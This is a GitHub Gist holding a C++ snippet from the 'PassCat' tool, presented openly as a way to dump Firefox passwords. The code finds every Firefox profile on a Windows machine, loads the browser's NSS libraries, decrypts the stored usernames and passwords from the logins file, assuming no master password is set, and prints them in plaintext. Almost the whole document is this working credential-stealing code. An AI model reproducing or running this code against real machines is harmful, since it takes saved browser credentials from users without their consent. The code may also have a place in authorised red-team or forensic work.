Created
September 15, 2018 10:40
-
-
Save maldevel/cb381f8de2f10784671c739fafa881aa to your computer and use it in GitHub Desktop.
PassCat Dump Firefox passwords snippet
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//https://github.com/twelvesec/passcat | |
//GNU General Public License v3.0 | |
//@maldevel | |
//... | |
static void _handle_credentials(std::string hostname, std::string encUsername, std::string encPassword) { | |
int len = 0; | |
char *decoded; | |
int adjust = 0; | |
int decodeLen; | |
SECItem request; | |
SECItem reply; | |
SECStatus status; | |
char *plaintext; | |
std::cout << "Hostname: " << hostname << std::endl; | |
len = (unsigned int)strlen(encUsername.c_str()); | |
if (encUsername.c_str()[len - 1] == '=') | |
{ | |
adjust++; | |
if (encUsername.c_str()[len - 2] == '=') | |
adjust++; | |
} | |
if ((decoded = (char *)PLBase64Decode(encUsername.c_str(), len, NULL)) == NULL) { | |
return; | |
} | |
decodeLen = (len * 3) / 4 - adjust; | |
request.data = (unsigned char *)decoded; | |
request.len = decodeLen; | |
reply.data = 0; | |
reply.len = 0; | |
if ((status = PK11SDRDecrypt(&request, &reply, NULL)) != SECSuccess) { | |
return; | |
} | |
if ((plaintext = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, reply.len + 1)) == NULL) { | |
SECITEMZfreeItem(&request, PR_FALSE); | |
SECITEMZfreeItem(&reply, PR_FALSE); | |
return; | |
} | |
strncpy_s(plaintext, reply.len + 1, (const char*)reply.data, reply.len); | |
plaintext[reply.len] = '\0'; | |
std::cout << "Username: " << plaintext << std::endl; | |
HeapFree(GetProcessHeap(), 0, plaintext); | |
plaintext = NULL; | |
SECITEMZfreeItem(&request, PR_FALSE); | |
SECITEMZfreeItem(&reply, PR_FALSE); | |
//*************** | |
adjust = 0; | |
len = (unsigned int)strlen(encPassword.c_str()); | |
if (encPassword.c_str()[len - 1] == '=') | |
{ | |
adjust++; | |
if (encPassword.c_str()[len - 2] == '=') | |
adjust++; | |
} | |
if ((decoded = (char *)PLBase64Decode(encPassword.c_str(), len, NULL)) == NULL) { | |
return; | |
} | |
decodeLen = (len * 3) / 4 - adjust; | |
request.data = (unsigned char *)decoded; | |
request.len = decodeLen; | |
reply.data = 0; | |
reply.len = 0; | |
if ((status = PK11SDRDecrypt(&request, &reply, NULL)) != SECSuccess) { | |
return; | |
} | |
if ((plaintext = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, reply.len + 1)) == NULL) { | |
SECITEMZfreeItem(&request, PR_FALSE); | |
SECITEMZfreeItem(&reply, PR_FALSE); | |
return; | |
} | |
strncpy_s(plaintext, reply.len + 1, (const char*)reply.data, reply.len); | |
plaintext[reply.len] = '\0'; | |
std::cout << "Password: " << plaintext << std::endl; | |
HeapFree(GetProcessHeap(), 0, plaintext); | |
plaintext = NULL; | |
SECITEMZfreeItem(&request, PR_FALSE); | |
SECITEMZfreeItem(&reply, PR_FALSE); | |
} | |
static void _print_passwords(std::wstring profileFolder, std::wstring signons) { | |
std::wstring path = L"sql:" + profileFolder; | |
std::wstring signonsJson = profileFolder + L"\\" + signons; | |
std::string fullPath(path.begin(), path.end()); | |
SECStatus result; | |
void *slot; | |
if (!PathFileExistsW(signonsJson.c_str())) { | |
return; | |
} | |
if ((result = NSSInit(fullPath.c_str())) != SECSuccess) { | |
return; | |
} | |
if ((slot = PK11GetInternalKeySlot()) == NULL) { | |
NSSShutdown(); | |
return; | |
} | |
if ((result = PK11CheckUserPassword(slot, "")) != SECSuccess) { | |
PK11FreeSlot(slot); | |
NSSShutdown(); | |
return; | |
} | |
if ((result = PK11Authenticate(slot, TRUE, NULL)) != SECSuccess) { | |
PK11FreeSlot(slot); | |
NSSShutdown(); | |
return; | |
} | |
std::ifstream ifs(signonsJson); | |
std::string content((std::istreambuf_iterator<char>(ifs)), | |
(std::istreambuf_iterator<char>())); | |
Document d; | |
d.Parse(content.c_str()); | |
if (d.HasMember("logins")) { | |
if (d["logins"].IsArray()) { | |
const Value& a = d["logins"].GetArray(); | |
for (SizeType i = 0; i < a.Size(); i++) { | |
if (a[i].IsObject()) { | |
std::string hostname; | |
std::string encusername; | |
std::string encpassword; | |
for (Value::ConstMemberIterator itr = a[i].MemberBegin(); itr != a[i].MemberEnd(); ++itr) { | |
if (itr->name != NULL) { | |
std::string val(itr->name.GetString()); | |
if (val == "hostname") { | |
if (itr->value != NULL) { | |
hostname = itr->value.GetString(); | |
} | |
} | |
if (val == "encryptedUsername") { | |
if (itr->value != NULL) { | |
encusername = itr->value.GetString(); | |
} | |
} | |
if (val == "encryptedPassword") { | |
if (itr->value != NULL) { | |
encpassword = itr->value.GetString(); | |
} | |
} | |
} | |
} | |
_handle_credentials(hostname, encusername, encpassword); | |
std::cout << std::endl; | |
} | |
} | |
} | |
} | |
PK11FreeSlot(slot); | |
NSSShutdown(); | |
} | |
static void _handle_profiles(std::wstring folder, std::wstring searchpath, std::wstring signons) { | |
HANDLE hFind = INVALID_HANDLE_VALUE; | |
WIN32_FIND_DATAW ffd; | |
if ((hFind = FindFirstFileW(searchpath.c_str(), &ffd)) == INVALID_HANDLE_VALUE) { | |
return; | |
} | |
do { | |
if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { | |
std::wstring profilePath(ffd.cFileName); | |
if (profilePath == L"." || profilePath == L"..") { | |
continue; | |
} | |
_print_passwords(folder + L"\\" + ffd.cFileName, signons); | |
} | |
} while (FindNextFileW(hFind, &ffd) != 0); | |
FindClose(hFind); | |
} | |
void libmozilla::init(std::wstring nss3Dll, std::wstring mozglueDll) { | |
if (initialized) return; | |
if (!(hmozglueLib = LoadLibraryW(mozglueDll.c_str()))) { | |
return; | |
} | |
if (!(hnss3Lib = LoadLibraryW(nss3Dll.c_str()))) { | |
FreeLibrary(hmozglueLib); | |
return; | |
} | |
NSSInit = (NSS_InitFunc)GetProcAddress(hnss3Lib, "NSS_Init"); | |
NSSShutdown = (NSS_ShutdownFunc)GetProcAddress(hnss3Lib, "NSS_Shutdown"); | |
PK11GetInternalKeySlot = (PK11_GetInternalKeySlotFunc)GetProcAddress(hnss3Lib, "PK11_GetInternalKeySlot"); | |
PK11FreeSlot = (PK11_FreeSlotFunc)GetProcAddress(hnss3Lib, "PK11_FreeSlot"); | |
PK11CheckUserPassword = (PK11_CheckUserPasswordFunc)GetProcAddress(hnss3Lib, "PK11_CheckUserPassword"); | |
PK11Authenticate = (PK11_AuthenticateFunc)GetProcAddress(hnss3Lib, "PK11_Authenticate"); | |
PLBase64Decode = (PL_Base64DecodeFunc)GetProcAddress(hnss3Lib, "PL_Base64Decode"); | |
PK11SDRDecrypt = (PK11_SDRDecryptFunc)GetProcAddress(hnss3Lib, "PK11SDR_Decrypt"); | |
PK11SDRDecrypt = (PK11_SDRDecryptFunc)GetProcAddress(hnss3Lib, "PK11SDR_Decrypt"); | |
SECITEMZfreeItem = (SECITEM_ZfreeItemFunc)GetProcAddress(hnss3Lib, "SECITEM_ZfreeItem"); | |
if (!NSSInit || !NSSShutdown || !PK11GetInternalKeySlot || !PK11FreeSlot || !PK11CheckUserPassword || !PK11Authenticate | |
|| !PLBase64Decode || !PK11SDRDecrypt || !SECITEMZfreeItem) { | |
FreeLibrary(hnss3Lib); | |
FreeLibrary(hmozglueLib); | |
return; | |
} | |
initialized = true; | |
} | |
void libmozilla::finalize(void) { | |
if (!initialized) return; | |
if (hnss3Lib) { | |
FreeLibrary(hnss3Lib); | |
} | |
if (hmozglueLib) { | |
FreeLibrary(hmozglueLib); | |
} | |
initialized = false; | |
} | |
void libmozilla::print_firefox_passwords(std::wstring path, std::wstring signons) { | |
if (!initialized) return; | |
if (GetFileAttributesW(path.c_str()) == INVALID_FILE_ATTRIBUTES) { | |
return; | |
} | |
_handle_profiles(path, path + L"\\*", signons); | |
} | |
//... |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment